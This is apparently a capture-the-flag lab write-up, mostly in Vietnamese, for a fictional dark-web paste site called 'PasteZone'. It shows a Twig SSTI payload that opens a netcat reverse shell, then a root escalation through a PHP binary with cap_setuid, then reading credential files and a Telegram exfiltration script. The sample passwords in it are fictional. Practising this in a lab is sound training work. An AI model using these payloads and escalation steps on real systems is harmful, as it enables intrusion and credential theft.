PasteZone Lab

An urgent midnight intelligence alert has triggered a full-scale response: sensitive data belonging to the Ministry of Energy has been discovered for sale on PasteZone, one of the most notorious illegal platforms on the dark web. Cybercriminals use this site to anonymously share details of compromised systems, vulnerabilities, and stolen data. Preliminary investigations have confirmed that the leaked content originates directly from the Ministry of Energy’s systems, posing a significant security threat. Your mission is to identify the individuals or groups responsible for this breach, gather intelligence on PasteZone’s administrators, and collect actionable evidence.


What is the contact email address of the user who published the energy.gov.hv post?

  • Truy cập vào tên miền pastezone.hv thì nó có vẻ là 1 trang web của hacker chia sẻ nội dung ẩn danh cho giới ngầm kỹ thuật số, truy cập vào view all Popular Pastes thì thấy bài viết [LEAK] energy.gov.hv - Energy Ministry Full Database Breach có nhiều lượt thích hơn các bài khác . Truy cập vào thì tìm thấy đáp án cho câu hỏi này :

==> The Answer : darkleaker@protonmail.hv


What is the IP address of the attacker who posted the energy.gov.hv data?

  • Truy cập vào Creat Paste , Tạo 1 bài có nội dung là {{7*7}}
  • Kết quả là bài sau khi tạo có nội dung là 49 , Sau đó tôi thử payload khác {{7*‘7’}} thì kết quả vẫn là 49 , vậy có nghĩa là trang web này dùng Template Twig . Vậy có thể dùng SSTI Injection.
  • Vào mục Creat Paste , tạo bài mới và có nội dung là :
{{['nc\x20-c\x20sh\x20<Your-IP>\x20<Your-Port>']|filter('system')}}
  • Sau đó mở lắng nghe trên công Port , tôi ví dụ là port 999.
nc -lvp 999
  • Dùng lệnh sau để nâng cấp shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
  • Tôi tìm và đọc file /var/www/html/database/pastezone.db , Tìm kiếm trong đó thì thấy :
...
Sample user credentials:
john.smith@energy.gov.hv:Energy2023!
michael.brown@energy.gov.hv:Capital2022*
sarah.jones@energy.gov.hv:System1234#
emma.wilson@energy.gov.hv:Ministry2023!
david.taylor@energy.gov.hv:Secure567*
olivia.evans@energy.gov.hv:Energy2022#
james.thomas@energy.gov.hv:Nuclear2023!
sophia.roberts@energy.gov.hv:Scada1234#
william.johnson@energy.gov.hv:Admin2023*
emily.walker@energy.gov.hv:Network567!

Complete data package: 1 BTC (non-negotiable)
Sample data has been verified.

Contact: darkleaker@protonmail.hv
Escrow accepted.

�O��F) L��G�DarkLeaker�b-185.173.35.52025-11-07 15:07:47
...

==> The Answer : 185.173.35.5


What are the “email:password” details for the PasteZone platform administrator’s GitHub account?

  • Để tìm được đáp án cho câu này thì ta cần root , giờ thì tìm cách leo thang đặc quyền :
  • Có script tìm kiếm lổ hỏng leo thang trên guthub : Đây
  • Ngoài dùng script trên thì tôi dùng lệnh sau để tìm :
www-data@debian:/var/www/html$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/usr/bin/php8.4 cap_setuid=ep
/usr/bin/ping cap_net_raw=ep
  • Mục tiêu có thể leo thang là /usr/bin/php8.4 vì nó có quyền sửa uid mà không cần root .
www-data@debian:/var/www/html$ /usr/bin/php8.4 -r "posix_setuid(0); system('chmod +s /bin/bash');"
<-r "posix_setuid(0); system('chmod +s /bin/bash');
  • Đoạn lệnh này nhằm gọi hàm posix set uid=0 , sau đó thêm quyền thực thi root cho /bin/bash (+s bật bit SUID), nghĩa là người dùng nào chạy /bin/bash đều có thể chạy nó với quyền root .
  • Sau đó chạy lệnh /bin/bash -p là ta đã có 1 shell root , option -p nghĩa là mở /bin/bash mà giữ nguyên quyền của nó , vì khi 1 người dùng chạy /bin/bash thì shell bash được mở lên với quyền của người dùng đó.
bash-5.1$ /bin/bash -p
/bin/bash -p
bash-5.1# whoami
whoami
root
bash-5.1# 
  • Sau khi có root thì ta vào /root sẽ thấy 1 file là githb , đọc nó thì ta sẽ có đáp án cho câu này:
bash-5.1# ls
ls
a.sh	composer.json  create.php  index.php   search.php    top.php  view.php
assets	composer.lock  database    recent.php  services.php  vendor
bash-5.1# cd /root
cd /root
bash-5.1# ls
ls
backup.py  github.txt
bash-5.1# cat gith*
cat gith*
michaelcarter@mailbox.hv:MKEVQV5VsQ4qc
bash-5.1# 

==> The Answer : michaelcarter@mailbox.hv:MKEVQV5VsQ4qc


What is the phone number of the person managing the PasteZone infrastructure?

  • Sau khi đã giải quyết câu trên , ở cùng thư mục /root có thêm 1 file backup.py , nội dung bên trong nó sẽ là đáp án cho câu cuối cùng này:
bash-5.1# ls
ls
backup.py  github.txt
bash-5.1# cat back*
cat back*
# send_self_file.py
# Sends a local file (pastezone.db) to yourself on Telegram.

from telethon import TelegramClient
import asyncio

# === CONFIGURATION (replace with your info) ===
API_ID = 12345678                           # your API ID from my.telegram.org
API_HASH = "0123456789abcdef0123456789abcdef"  # your API HASH
YOUR_PHONE = "+12025550123"                # your own phone number
FILE_PATH = "/var/www/html/database/pastezone.db"  # file to send


async def main():
    # Create Telegram client
    client = TelegramClient("self_session", API_ID, API_HASH)
    await client.start(phone=YOUR_PHONE)

    # Get yourself
    me = await client.get_me()

    # Send the file to yourself
    await client.send_file(me, FILE_PATH, caption="Backup of pastezone.db")
    print(f" File '{FILE_PATH}' sent to yourself successfully!")
    await client.disconnect()


if __name__ == "__main__":
    asyncio.run(main())
bash-5.1# 

==> The Answer : +12025550123

PasteZone Lab

Author

Kai0Kid

Publish Date

11 - 07 - 2025

License

Unlicensed

Avatar
Kai0Kid

Bạn tìm gì ở tôi ?